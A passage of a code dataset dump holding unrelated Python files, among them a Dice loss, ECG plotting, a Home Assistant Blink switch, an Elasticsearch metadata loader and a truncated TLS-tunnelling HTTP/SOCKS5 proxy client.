1e-6) / \\\n (torch.sum(pred_temp.pow(2), [1, 2, 3])\n + torch.sum(target_temp.pow(2), [1, 2, 3]) + 1e-6)\n\n dice_stage1 /= num_organ\n\n # 计算第二阶段的loss\n dice_stage2 = 0.0\n for idx in range(1, num_organ + 1):\n pred_temp = pred_stage2[:, idx, :, :, :]\n target_temp = organs_target[:, idx - 1, :, :, :]\n dice_stage2 += 2 * torch.sum(pred_temp * target_temp, [1, 2, 3]) / \\\n (torch.sum(pred_temp.pow(2), [1, 2, 3])\n + torch.sum(target_temp.pow(2), [1, 2, 3]) + 1e-5)\n\n dice_stage2 /= num_organ\n\n # total loss\n dice_loss = 2 - (dice_stage1 + dice_stage2)\n\n return dice_loss.mean()\n","sub_path":"loss/avg_dice_loss.py","file_name":"avg_dice_loss.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"581507292","text":"import os\nimport sys\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as ps\nfrom scipy.signal import resample\n\n\ndef plot_first_4_samples(trainX):\n plt.figure(2, figsize=(10, 6))\n plt.plot(trainX[0], label='learning example 0')\n plt.plot(trainX[1], label='learning example 1')\n plt.plot(trainX[2], label='learning example 2')\n plt.plot(trainX[3], label='learning example 3')\n plt.legend()\n plt.xlabel('samples')\n plt.ylabel('ECG signal')\n\n\ndef plot_first_examples_from_each_class(trainX, trainY):\n plt.figure(3, figsize=(10, 6))\n plt.plot(trainX[0], label='class 1')\n\n train_counts = np.bincount(trainY.astype('int64').flatten())\n plt.plot(trainX[train_counts[0]+1], label='class 2')\n plt.plot(trainX[train_counts[1]+1], label='class 3')\n plt.plot(trainX[train_counts[2]+1], label='class 4')\n plt.plot(trainX[train_counts[3]+1], label='class 5')\n plt.legend()\n plt.xlabel('samples')\n plt.ylabel('ECG signal')\n\n\ndef plot_simple_ovesampling(trainX):\n plt.figure(4, figsize=(10, 6))\n plt.plot(trainX[0, :], label='original signal')\n plt.plot(amplify(trainX[0, :]), label='amplified signal')\n plt.plot(stretch(trainX[0, :]), label='stretched signal')\n plt.legend()\n plt.xlabel('samples')\n plt.ylabel('ECG signal')\n\n\ndef stretch(x):\n sum_samples = int(187 * (1 + (np.random.rand()-0.5)/3))\n y = resample(x, sum_samples)\n if sum_samples < 187:\n y_ = np.zeros(shape=(187, ))\n y_[:sum_samples] = y\n else:\n y_ = y[:187]\n return y_\n\n\ndef amplify(x):\n alpha = (np.random.rand()-0.5)\n factor = -alpha*x + (1+alpha)\n return x*factor\n\n\ndef augment(x):\n result = np.zeros(shape=(3, 187))\n result[0, :] = stretch(x)\n result[1, :] = amplify(x)\n result[2, :] = amplify(stretch(x))\n return result\n\n\nif __name__ == '__main__':\n PACKAGE_PARENT = '../'\n SCRIPT_DIR = os.path.dirname(os.path.realpath(\n os.path.join(os.getcwd(), os.path.expanduser(__file__))))\n sys.path.append(os.path.normpath(os.path.join(SCRIPT_DIR, PACKAGE_PARENT)))\n from dataset_utils.read_MIT_dataset import *\n\n imbalance_analysis('dataset/mitbih_train.csv')\n\n trainX, trainY, testX, testY = load_testing_dataset()\n plot_first_4_samples(trainX)\n plot_first_examples_from_each_class(trainX, trainY)\n plot_simple_ovesampling(trainX)\n plt.show()\n","sub_path":"dataset_utils/dataset_plots.py","file_name":"dataset_plots.py","file_ext":"py","file_size_in_byte":2382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"615721707","text":"'''\n\nWrite a script that takes a tuple and turns it into a list.\n\n'''\n\n# take an input as a tuple\nuser_input = input(\"Please enter a tuple separated by whitespace: \")\nuser_list = user_input.split(\" \")\nuser_tuple = tuple(user_list)\nprint(user_tuple)\n\nuser_list = []\n\nfor item in user_tuple:\n user_list.append(item)\n\nprint(user_list)\n","sub_path":"03_more_datatypes/3_tuples/04_13_tuple_to_list.py","file_name":"04_13_tuple_to_list.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"561715389","text":"#\n# Copyright (c) 2013, 2014, 2015 NORDUnet A/S\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or\n# without modification, are permitted provided that the following\n# conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided\n# with the distribution.\n# 3. Neither the name of the NORDUnet nor the names of its\n# contributors may be used to endorse or promote products derived\n# from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# Author : Enrique Perez \n#\n\n\nimport os\nimport time\nfrom pkg_resources import iter_entry_points\n\nimport eduid_idp.util\nimport eduid_idp.mischttp\n\n\ndef check_for_pending_actions(idp_app, user, ticket):\n \"\"\"\n Check whether there are any pending actions for the current user,\n and if there are, redirect to the actions app.\n\n The redirection is performed by raising an eduid_idp.mischttp.Redirect.\n\n :param idp_app: IdP application instance\n :param user: the authenticating user\n :param ticket: SSOLoginData instance\n\n :type user: eduid_idp.idp_user.IdPUser\n :type idp_app: eduid_idp.idp.IdPApplication\n :type ticket: SSOLoginData\n\n :rtype: None\n \"\"\"\n\n if idp_app.actions_db is None:\n idp_app.logger.info(\"This IdP is not initialized for special actions\")\n return\n\n # Add any actions that may depend on the login data\n add_idp_initiated_actions(idp_app, user, ticket)\n\n # Check for pending actions\n if not idp_app.actions_db.has_pending_actions(user.user_id, clean_cache=True):\n idp_app.logger.debug(\"There are no pending actions for user {!s}\".format(user))\n return\n\n # Pending actions found, redirect to the actions app\n idp_app.logger.debug(\"There are pending actions for user {!s}\".format(user))\n\n # create auth token for actions app\n secret = idp_app.config.actions_auth_shared_secret\n nonce = os.urandom(16).encode('hex')\n timestamp = '{:x}'.format(int(time.time()))\n auth_token = eduid_idp.util.generate_auth_token(secret, user.user_id, nonce, timestamp)\n\n actions_uri = idp_app.config.actions_app_uri\n idp_app.logger.info(\"Redirecting user {!s} to actions app {!s}\".format(user, actions_uri))\n\n actions_session = ticket.key\n uri = '{uri!s}?userid={user_id!s}&token={auth_token!s}&nonce={nonce!s}&ts={ts!s}&session={session!s}'.format(\n uri = actions_uri,\n user_id = user.user_id,\n auth_token = auth_token,\n nonce = nonce,\n ts = timestamp,\n session = actions_session)\n raise eduid_idp.mischttp.Redirect(uri)\n\n\ndef add_idp_initiated_actions(idp_app, user, ticket):\n \"\"\"\n Iterate over add_actions entry points and execute them.\n These entry points take the IdP app and the login data (ticket)\n and add actions that depend on those.\n\n :param idp_app: IdP application instance\n :param user: the authenticating user\n :param ticket: the SSO login data\n\n :type user: eduid_idp.idp_user.IdPUser\n :type idp_app: eduid_idp.idp.IdPApplication\n :type ticket: eduid_idp.login.SSOLoginData\n \"\"\"\n for entry_point in iter_entry_points('eduid_actions.add_actions'):\n idp_app.logger.debug('Using entry point {!r} to add new actions'.format(entry_point.name))\n try:\n entry_point.load()(idp_app, user, ticket)\n except Exception as exc:\n idp_app.logger.warn('Error executing entry point {!r}: {!s}'.format(entry_point.name, exc))\n","sub_path":"src/eduid_idp/idp_actions.py","file_name":"idp_actions.py","file_ext":"py","file_size_in_byte":4597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"128400340","text":"from homeassistant.components import blink\r\nfrom homeassistant.components.switch import SwitchDevice\r\n\r\nDEPENDENCIES = ['blink']\r\n\r\n\r\ndef setup_platform(hass, config, add_devices, discovery_info=None):\r\n data = hass.data[blink.DOMAIN].blink\r\n \r\n for name, devices in data.cameras.items():\r\n add_devices([BlinkSwitch(name, data, 'snap_picture')])\r\n add_devices([BlinkSwitch(name, data, 'motion')])\r\n \r\n add_devices([BlinkArmSystem(data)])\r\n\r\n\r\nclass BlinkSwitch(SwitchDevice):\r\n def __init__(self, name, data, type):\r\n self._name = 'blink ' + name + ' ' + type\r\n self._camera_name = name\r\n self.data = data\r\n self.type = type\r\n if self.type == 'motion':\r\n self._state = self.data.cameras[self._camera_name].armed == 'armed'\r\n elif self.type == 'snap_picture':\r\n self._state = False\r\n else:\r\n self._state = None\r\n \r\n @property\r\n def name(self):\r\n return self._name.replace(\" \", \"_\")\r\n \r\n @property\r\n def is_on(self):\r\n return self._state\r\n \r\n def turn_on(self, **kwargs):\r\n camera = self.data.cameras[self._camera_name]\r\n if self.type == 'motion':\r\n camera.set_motion_detect(True)\r\n self._state = True\r\n elif self.type == 'snap_picture':\r\n camera.snap_picture()\r\n self.turn_off()\r\n else:\r\n self._state = None\r\n \r\n def turn_off(self, **kwargs):\r\n camera = self.data.cameras[self._camera_name]\r\n if self.type == 'motion':\r\n camera.set_motion_detect(False)\r\n self._state = False\r\n elif self.type == 'snap_picture':\r\n self._state = False\r\n else:\r\n self._state = None\r\n\r\nclass BlinkArmSystem(SwitchDevice):\r\n def __init__(self, data):\r\n self._name = 'blink_arm_system'\r\n self.data = data\r\n self._state = self.data.arm\r\n \r\n @property\r\n def name(self):\r\n return self._name\r\n \r\n @property\r\n def is_on(self):\r\n return self._state\r\n \r\n def turn_on(self, **kwargs):\r\n self.data.arm = True\r\n self._state = True\r\n \r\n def turn_off(self, **kwargs):\r\n self.data.arm = False\r\n self._state = False","sub_path":"custom_components/switch/blink.py","file_name":"blink.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"439817188","text":"# websocket-send.py\n# Raspberry Pi + Faboにデータを送信するプログラム\n# (PCで動かすプログラム)\n# 使い方:\n# % python3 websocket-send.py\n\n# 【要設定】WebSocketのURI\nuri = \"wss://api.sakura.io/ws/v1/xxxxxxx\"\n\n# 【要設定】sakura.ioモジュールのID\nmodule_id = \"uxxxxxxxxxxx\"\n\n\n# ライブラリのインポート\nfrom websocket import create_connection\nimport time\nimport sys\nimport json\n\n# JSONデータ\n# channelはArduino版との互換性のため0,1,2を定義しているが\n# 本プログラムではchannel 0のみ使用\njson_data = {\n \"type\": \"channels\",\n \"module\": module_id,\n \"payload\": {\n \"channels\": [\n {\"channel\":0,\"type\":\"I\",\"value\":0},\n {\"channel\":1,\"type\":\"I\",\"value\":0},\n {\"channel\":2,\"type\":\"I\",\"value\":0}\n ]\n }\n}\n\n# WebSocketのURIに接続\nws = create_connection(uri)\nprint(\"Sending...\")\n\n# Ctrl-Cが押されるまで無限ループ\ntry:\n while True:\n # コマンドラインから値を入力\n print('input data: (0=OFF/1=ON/other=NOP)')\n input_data = input('>> ')\n# print(input_data)\n # 値が0か1なら整数値に変換してJSONデータに代入しWebSocketで送信\n if input_data == '0' or input_data == '1':\n int_data = int(input_data)\n json_data['payload']['channels'][0]['value'] = int_data\n ws.send(json.dumps(json_data))\n# print(json.dumps(json_data))\n # それ以外なら何もしない\n else:\n print(\"nothing send ...\")\n \n# Ctrl-Cが押されたら終了処理\nexcept KeyboardInterrupt:\n ws.close()\n sys.exit(0)\n","sub_path":"rpi/websocket-send.py","file_name":"websocket-send.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"527734070","text":"#! /usr/bin/env python\n#For Python, this file uses encoding: utf-8\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport script\nimport math\nfrom itertools import cycle\nimport argparse\n\ntableau20 = [(31, 119, 180), (174, 199, 232), (255, 127, 14), (255, 187, 120), \n\t\t\t (44, 160, 44), (152, 223, 138), (214, 39, 40), (255, 152, 150), \n\t\t\t (148, 103, 189), (197, 176, 213), (140, 86, 75), (196, 156, 148), \n\t\t\t (227, 119, 194), (247, 182, 210), (127, 127, 127), (199, 199, 199), \n\t\t\t (188, 189, 34), (219, 219, 141), (23, 190, 207), (158, 218, 229)]\n\t\t\t \n# Tableau Color Blind 10\ntableau20blind = [(0, 107, 164), (255, 128, 14), (171, 171, 171), (89, 89, 89),\n\t\t\t (95, 158, 209), (200, 82, 0), (137, 137, 137), (163, 200, 236),\n\t\t\t (255, 188, 121), (207, 207, 207)]\n \n# Rescale to values between 0 and 1 \nfor i in range(len(tableau20)): \n\tr, g, b = tableau20[i] \n\ttableau20[i] = (r / 255., g / 255., b / 255.)\n\nfor i in range(len(tableau20blind)): \n\tr, g, b = tableau20blind[i] \n\ttableau20blind[i] = (r / 255., g / 255., b / 255.)\n\ndef main(filename,save):\n\n\tdatos = script.main(filename,1)\n\tarmar_grafico_comparador(filename,save,*datos)\n\tarmar_pie_chart_broadcast(filename,save,*datos)\n\tarmar_pie_chart_por_protocolo(filename,save,*datos)\n\n\tplt.show()\n\ndef armar_pie_chart_por_protocolo(filename,save,probabilidades,informaciones,cantidad_de_paquetes,cantidad_broadcast,protocolos):\n\tfig,ax = plt.subplots()\n\tprotocolos = list(protocolos)\n\tprobas = []\n\n\tfor p in protocolos:\n\t\tcant_por_broadcast = 0\n\t\tcant_por_unicast = 0\n\t\tif (\"BROADCAST\",p) in probabilidades:\n\t\t\tcant_por_broadcast = probabilidades[(\"BROADCAST\",p)]\n\t\tif (\"UNICAST\",p) in probabilidades:\n\t\t\tcant_por_unicast = probabilidades[(\"UNICAST\",p)]\n\t\t\n\t\tprobas.append(cant_por_broadcast+cant_por_unicast)\n\n\tcolors = []\n\titerador = cycle(tableau20)\n\tfor i in range(len(protocolos)):\n\t\tcolors.append(iterador.next())\n\n\tpatches, texts = ax.pie(probas,startangle=90,colors=colors)\n\n\tlabels = ['{0} - {1:1.2f} %'.format(i,j) for i,j in zip(protocolos, np.array(probas)*100.0)]\n\n\tpatches, labels, dummy = zip(*sorted(zip(patches, labels, probas),\n key=lambda x: x[2],\n reverse=True))\n\n\tax.legend(patches, labels, loc='best',\n fontsize=15)\n\n\tfor text in texts:\n\t\ttext.set_fontsize(15)\n\n\tax.axis('equal')\n\n\tif save:\n\t\tplt.savefig('graficos/'+filename.split('.')[0]+'_pie_s1.pdf',bbox_inches='tight')\n\n\ndef armar_pie_chart_broadcast(filename,save,probabilidades,informaciones,cantidad_de_paquetes,cantidad_broadcast,protocolos):\n\tfig,ax = plt.subplots(figsize=(10,10))\n\n\tlabels = ['Paquetes Uni y multicast', 'Paquetes broadcast']\n\n\tcolors = [tableau20[0],tableau20[1]]\n\n\tsizes = [cantidad_de_paquetes-cantidad_broadcast,cantidad_broadcast]\n\tpatches, texts, autotexts = ax.pie(sizes,labels=labels, autopct='%1.1f%%',\n startangle=90,colors=colors,\n labeldistance=1.18,\n pctdistance=1.1)\n\n\tfor text in texts:\n\t\ttext.set_fontsize(15)\n\n\tfor text in autotexts:\n\t\ttext.set_fontsize(15)\n\n\tax.axis('equal')\n\n\tif save:\n\t\tplt.savefig('graficos/'+filename.split('.')[0]+'_pie_broadcast_s1.pdf',bbox_inches='tight')\n\n\n\ndef armar_grafico_comparador(filename,save,probabilidades,informaciones,cantidad_de_paquetes,cantidad_broadcast,protocolos):\n\t\n\tfig, ax = plt.subplots(figsize=(20, 10))\n\t#ax.grid(True)\n\n\tbar_width = 0.9\n\tind = np.arange(len(probabilidades))\n\n\tdashes = [20, 5, 15, 5]\n\n\trects = ax.bar(ind, informaciones.values(), bar_width,alpha=0.85)\n\tentropia_maxima = math.log(len(probabilidades),2)\n\n\tmax_entropy = ax.axhline(y=entropia_maxima, xmin=0, xmax=len(probabilidades), \n\t\tcolor='g',linewidth=1.7,label=u\"Entropía máxima\")\n\n\tentropy = ax.axhline(y=script.entropia(probabilidades), xmin=0, xmax=len(probabilidades), \n\t\tcolor='red',linewidth=1.7,label=u'Entropía muestral')\n\n\tmax_entropy.set_dashes(dashes)\n\n\tentropy.set_dashes(dashes)\n\n\tax.set_title(u\"Información por símbolo - Entropía - Entropía Máxima\")\n\n\tax.set_xlabel(u\"Símbolos\")\n\tax.set_ylabel(u\"Información\")\n\n\tax.set_xticks([])\n\tax.set_yticks(np.arange(max(informaciones.values())+1))\n\n\tax.legend(fancybox=True,loc='best')\n\n\tkeys = informaciones.iterkeys()\n\tcolors = cycle(tableau20)\n\tfor rect in rects:\n\t\theight = rect.get_height()\n\t\trect.set_color(colors.next())\n\t\td,p = keys.next()\n\t\tclave = d+\"\\n\"+p\n\t\tax.text(rect.get_x() + rect.get_width()/2., 0.4*height,\n\t\t\t\tclave,\n\t\t\t\tha='center', va='bottom')\n\n\tif save:\n\t\tplt.savefig('graficos/'+filename.split('.')[0]+'_info_entropia_s1.pdf',bbox_inches='tight')\n\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\t#Para cuando quiero debuggear... pero mejor sin default xD\n\t#parser.add_argument(\"filename\", help=\"Archivo de destino\",action='store',nargs='?', default='wiredlabo.pcap')\n\tparser.add_argument(\"filename\", help=\"Archivo de la captura\",action='store')\n\tparser.add_argument(\"--save\",'-s', help=\"Guardar los gráficos (debe existir la carpeta graficos)\",action='store_true',\n\t\tdefault=False, dest='save')\n\targs = parser.parse_args()\n\n\tmain(args.filename,args.save)","sub_path":"Teoria de las Comunicaciones/net-sniffing/graficar_s1.py","file_name":"graficar_s1.py","file_ext":"py","file_size_in_byte":5083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"216992742","text":"from ebooklib import epub, ITEM_DOCUMENT\nfrom bs4 import BeautifulSoup\n\nfrom .utils import BaseParser\n\n\nclass Parser(BaseParser):\n \"\"\"Extract text from epub using python epub library\n \"\"\"\n\n def extract(self, filename, **kwargs):\n book = epub.read_epub(filename)\n result = \"\"\n for item in book.get_items():\n type = item.get_type()\n if type == ITEM_DOCUMENT:\n soup = BeautifulSoup(item.content)\n result = result + soup.text\n return result\n","sub_path":"textract/parsers/epub_parser.py","file_name":"epub_parser.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"559883926","text":"#Excercise_1_Create a function getting two integer inputs from user\r\nimport math\r\na=int(input(\"Enter the value of a\"))\r\nb=int(input(\"Enter the value of b\"))\r\ndef arithmetic(a,b):\r\n c=a+b #Addition of two numbers\r\n print(\"The addition is \",c)\r\n d=a-b #Subtraction of two numbers\r\n print(\"The subracted value is \",d)\r\n e=a*b#Multiplication of two numbers\r\n print(\"The multiplied value is \",e)\r\n f=a/b#division of two numbers\r\n print(\"The divided value is \",f)\r\n return\r\narithmetic(a,b)\r\n\r\n#Excercise_2_Create a function covid( )&it should accept patient name,and body temperature,\r\npatient_name=input(\"Enter the patient's name\")\r\nBody_temperature=98\r\ndef covid(patient_name,Body_temperature):\r\n print(\"The Patient name is\",patient_name +\" and his body temperature is\",Body_temperature)\r\n return\r\ncovid(patient_name,Body_temperature)","sub_path":"Day_5_Functions.py","file_name":"Day_5_Functions.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"323221623","text":"def solve(H, W, s):\n from collections import deque, defaultdict\n dotcount = sum([sum([c == \".\" for c in row]) for row in s])\n s = [row + \"#\" for row in s]\n s.append(\"#\" * (W + 1))\n distance = defaultdict(lambda:9999999999999)\n q = deque()\n q.append((0, 0, 0))\n distance[0, 0] = 0\n while q:\n x, y, d = q.popleft()\n for dx, dy in ((-1, 0), (+1, 0), (0, -1), (0, +1)):\n nx, ny, nd = x + dx, y + dy, d + 1\n if s[ny][nx] == \".\" and nd < distance[nx, ny]:\n distance[nx, ny] = nd\n q.append((nx, ny, nd))\n if distance[W - 1, H - 1] == 9999999999999:\n return -1\n return dotcount - distance[W - 1, H - 1] - 1\n\nH, W = [int(_) for _ in input().split()]\ns = [input() for y in range(H)]\n\nprint(solve(H, W, s))\n\n","sub_path":"atcoder/abc088/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"119903189","text":"#A version of this script can be run as a cron job to download the metadata text file regularly\nimport pandas as pd\nfrom io import StringIO\nimport numpy as np\nimport json\nimport requests\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch.helpers import bulk\nimport numbers\nimport math\nimport certifi\n\nhost_url = ['https://search-glos-metadata-jy4xxxs6o26fgmdj7guj32nvje.us-east-2.es.amazonaws.com']\n\ndef sanitize(value):\n if isinstance(value, numbers.Number) and math.isnan(value):\n return None\n else:\n return value\n\ndef parse_metadata(metadata_df):\n for index, row in metadata_df.iterrows():\n yield {'_id' : index,\n 'schema' : sanitize(row[0]),\n 'uuid' : sanitize(row[1]), \n 'id' : sanitize(row[2]), \n 'title' : sanitize(row[3]), \n 'abstract' : sanitize(row[4]), \n 'keyword' : sanitize(row[5]),\n 'link' : sanitize(row[6]),\n 'responsibleParty' : sanitize(row[7]),\n 'metadatacreationdate' : sanitize(row[8]),\n 'geoBox' : sanitize(row[9]),\n 'image' : sanitize(row[10]),\n 'LegalConstraints' : sanitize(row[11]),\n 'temporalExtent' : sanitize(row[12]),\n 'parentId' : sanitize(row[13]),\n 'datasetcreationdate' : sanitize(row[14]),\n 'Constraints' : sanitize(row[15]),\n 'SecurityConstraints' : sanitize(row[16])\n }\n\nurl = 'http://data.glos.us/metadata/srv/eng/csv.search?'\nr = requests.get(url, allow_redirects=True)\nopen('metadata.txt', 'wb').write(r.content)\n\ncolnames = [\"schema\",\"uuid\",\"id\",\"title\",\"abstract\",\"keyword\",\"link\",\"responsibleParty\",\"metadatacreationdate\",\"geoBox\",\"image\",\"LegalConstraints\",\"temporalExtent\",\"parentId\",\"datasetcreationdate\",\"Constraints\",\"SecurityConstraints\"]\nwith open('metadata.txt',errors='ignore') as f:\n\tcontents = f.read() # type bytes\n\tdf = pd.read_csv(StringIO(contents), sep='\",\"',skiprows=[0],index_col=False,names=colnames, engine='python')\n\t\n\tdf['schema'] = df['schema'].str.replace('\"', ' ', regex=True)\n\t#df['abstract'] = df['abstract'].str.replace('<\\s*[^>]*>', ' ', regex=True)\n\tdf['abstract'] = df['abstract'].str.replace('

', ' ', regex=True)\n\tdf['abstract'] = df['abstract'].str.replace('

', ' ', regex=True)\n\tdf['abstract'] = df['abstract'].str.replace('

', ' ', regex=True)\n\tdf['abstract'] = df['abstract'].str.replace('

', ' ', regex=True)\n\tdf['abstract'] = df['abstract'].str.replace('', ' ', regex=True)\n\tdf['abstract'] = df['abstract'].str.replace('', ' ', regex=True)\n\tdf['keyword'] = df['keyword'].str.replace('###', ',', regex=True)\n\tdf['link'] = df['link'].str.replace('###', ' ', regex=True)\n\tdf['responsibleParty'] = df['responsibleParty'].str.replace('###', ' ', regex=True)\n\tdf['geoBox'] = df['geoBox'].str.replace('###', ' ', regex=True)\n\tdf['SecurityConstraints'] = df['SecurityConstraints'].str.replace('\".', \"\", regex=True)\n\nes_conn = Elasticsearch(host_url, ca_certs = certifi.where())\n\nbulk(es_conn, parse_metadata(df), index = 'metadata', doc_type = 'record')\n\nexport_csv = df.to_csv(r'clean_metadata2.csv', index = None, header=True)\n\n","sub_path":"metadataDownloadScript.py","file_name":"metadataDownloadScript.py","file_ext":"py","file_size_in_byte":3099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"542736550","text":"from select import select\r\nfrom socketserver import StreamRequestHandler,ThreadingTCPServer\r\nfrom socket import socket,create_connection,inet_ntop,AF_INET6,AF_INET\r\nfrom ssl import SSLContext,PROTOCOL_TLS,CERT_REQUIRED,TLSVersion\r\nfrom json import *\r\nfrom re import match\r\nfrom os import path\r\nfrom sys import argv\r\n\r\nclass config():\r\n CHINA_LIST = {}\r\n MODE = ''\r\n ACTIVE = ''\r\n UUID = ''\r\n CA = ''\r\n LOCAL_PORT = ''\r\n SERVER_HOST = ''\r\n SERVER_PORT = ''\r\n\r\nclass TLS():\r\n def load_TLS(self):\r\n context = SSLContext(PROTOCOL_TLS)\r\n context.minimum_version = TLSVersion.TLSv1_3\r\n context.verify_mode = CERT_REQUIRED\r\n context.check_hostname = True\r\n if self.CA != 'default' and self.CA != '':\r\n context.load_verify_locations(self.CA)\r\n else:\r\n context.load_default_certs()\r\n self.server = create_connection((self.SERVER_HOST, self.SERVER_PORT))\r\n self.server = context.wrap_socket(self.server, server_hostname=self.SERVER_HOST)\r\n\r\n def verify(self):\r\n self.server.send(self.UUID)\r\n\r\n def loop(self):\r\n while True:\r\n r, w, e = select([self.client, self.server], [], [])\r\n if self.client in r:\r\n data = self.client.recv(65536)\r\n if self.server.send(data) <= 0:\r\n break\r\n if self.server in r:\r\n data = self.server.recv(65536)\r\n if self.client.send(data) <= 0:\r\n break\r\n\r\nclass SOCKS5(config,TLS):\r\n def run(self):\r\n try:\r\n self.analysis_socks5()\r\n self.load_TLS()\r\n self.verify()\r\n self.server.send(self.host + b'\\o\\o' + self.port + b'\\o\\o')\r\n self.loop()\r\n except Exception:\r\n self.client.close()\r\n self.server.close()\r\n\r\n def analysis_socks5(self):\r\n self.client.send(b'\\x05\\x00')\r\n request = self.client.recv(65536)\r\n if request[3] == 1:\r\n self.host = inet_ntop(AF_INET, request[4:8]).encode('utf-8')\r\n self.port = str(int.from_bytes(request[-2:], 'big')).encode('utf-8')\r\n self.client.send(b'\\x05\\x00\\x00\\x01' + request[4:])\r\n elif request[3] == 4:\r\n self.host = inet_ntop(AF_INET6, request[4:20]).encode('utf-8')\r\n self.port = str(int.from_bytes(request[-2:], 'big')).encode('utf-8')\r\n self.client.send(b'\\x05\\x00\\x00\\x04' + request[4:])\r\n elif request[3] == 3:\r\n self.host = request[5:5 + request[4]]\r\n self.port = str(int.from_bytes(request[-2:], 'big')).encode('utf-8')\r\n self.client.send(b'\\x05\\x00\\x00\\x03' + request[4:])\r\n\r\nclass HTTP(config,TLS):\r\n def run(self):\r\n try:\r\n self.analysis_http()\r\n self.mode()\r\n self.loop()\r\n except Exception:\r\n self.client.close()\r\n self.server.close()\r\n\r\n\r\n def delete(self,host):\r\n sigment = host.split('.')\r\n if match('\\D', sigment[-1]) == None:\r\n sigment.reverse()\r\n location = self.CHINA_LIST\r\n END = -len(sigment)\r\n for x in range(-1, END - 1, -1):\r\n if '*' in location:\r\n return True\r\n elif sigment[x] in location:\r\n if x > END:\r\n location = location[sigment[x]]\r\n elif '|' in location[sigment[x]]:\r\n return True\r\n else:\r\n break\r\n return False\r\n\r\n def analysis_http(self):\r\n sigment = self.request_data.split(b' ')[1]\r\n if b'http://' not in sigment:\r\n self.host = sigment.split(b':')[0]\r\n self.port = sigment.split(b':')[1]\r\n else:\r\n self.host = sigment.split(b'/')[2]\r\n if b':' in self.host:\r\n self.port = self.host.split(b':')[1]\r\n self.host = self.host.split(b':')[0]\r\n else:\r\n self.port = b'80'\r\n\r\n def response(self):\r\n if self.request_data[:7] == b'CONNECT':\r\n self.client.send(b'''HTTP/1.1 200 Connection Established\\r\\nProxy-Connection: close\\r\\n\\r\\n''')\r\n else:\r\n self.request_data = self.request_data.replace(b'Proxy-', b'', 1)\r\n self.request_data = self.request_data.replace(b':' + self.port, b'', 1)\r\n if self.port == b'80':\r\n self.request_data = self.request_data.replace(b'http://' + self.host, b'', 1)\r\n self.server.send(self.request_data)\r\n\r\n def mode(self):\r\n if self.MODE == 'global' or (self.MODE == 'auto' and not self.delete(self.host.decode('utf-8'))):\r\n self.load_TLS()\r\n self.verify()\r\n self.server.send(self.host+b'\\o\\o'+self.port+b'\\o\\o')\r\n else:\r\n self.server = create_connection((self.host, int(self.port)), 5)\r\n self.response()\r\n\r\nclass TCP_handler(StreamRequestHandler,HTTP,SOCKS5):\r\n def handle(self):\r\n try:\r\n self.client = self.connection\r\n self.request_data = self.client.recv(65536)\r\n except Exception:\r\n self.client.close()\r\n return 0\r\n else:\r\n if self.request_data[:1] != b'\\x05':\r\n HTTP.run(self)\r\n elif self.request_data[1:3] == b'\\x01\\x00':\r\n SOCKS5.run(self)\r\n else:\r\n self.client.send(b'\\x05\\xff')\r\n\r\nclass Crack(ThreadingTCPServer,config):\r\n def __init__(self):\r\n self.load_config()\r\n ThreadingTCPServer.__init__(self, ('0.0.0.0', self.LOCAL_PORT), TCP_handler)\r\n\r\n def load_config(self):\r\n conf_path = self.translate(path.abspath(path.dirname(argv[0]))+'/crack_user.conf')\r\n if path.exists(conf_path):\r\n file = open(conf_path, 'r')\r\n conf = self.translate(file.read())\r\n conf = loads(conf)\r\n file.close()\r\n config.MODE = conf['mode']\r\n config.ACTIVE = conf['active']\r\n config.UUID = conf[self.ACTIVE]['uuid'].encode('utf-8')\r\n config.CA = 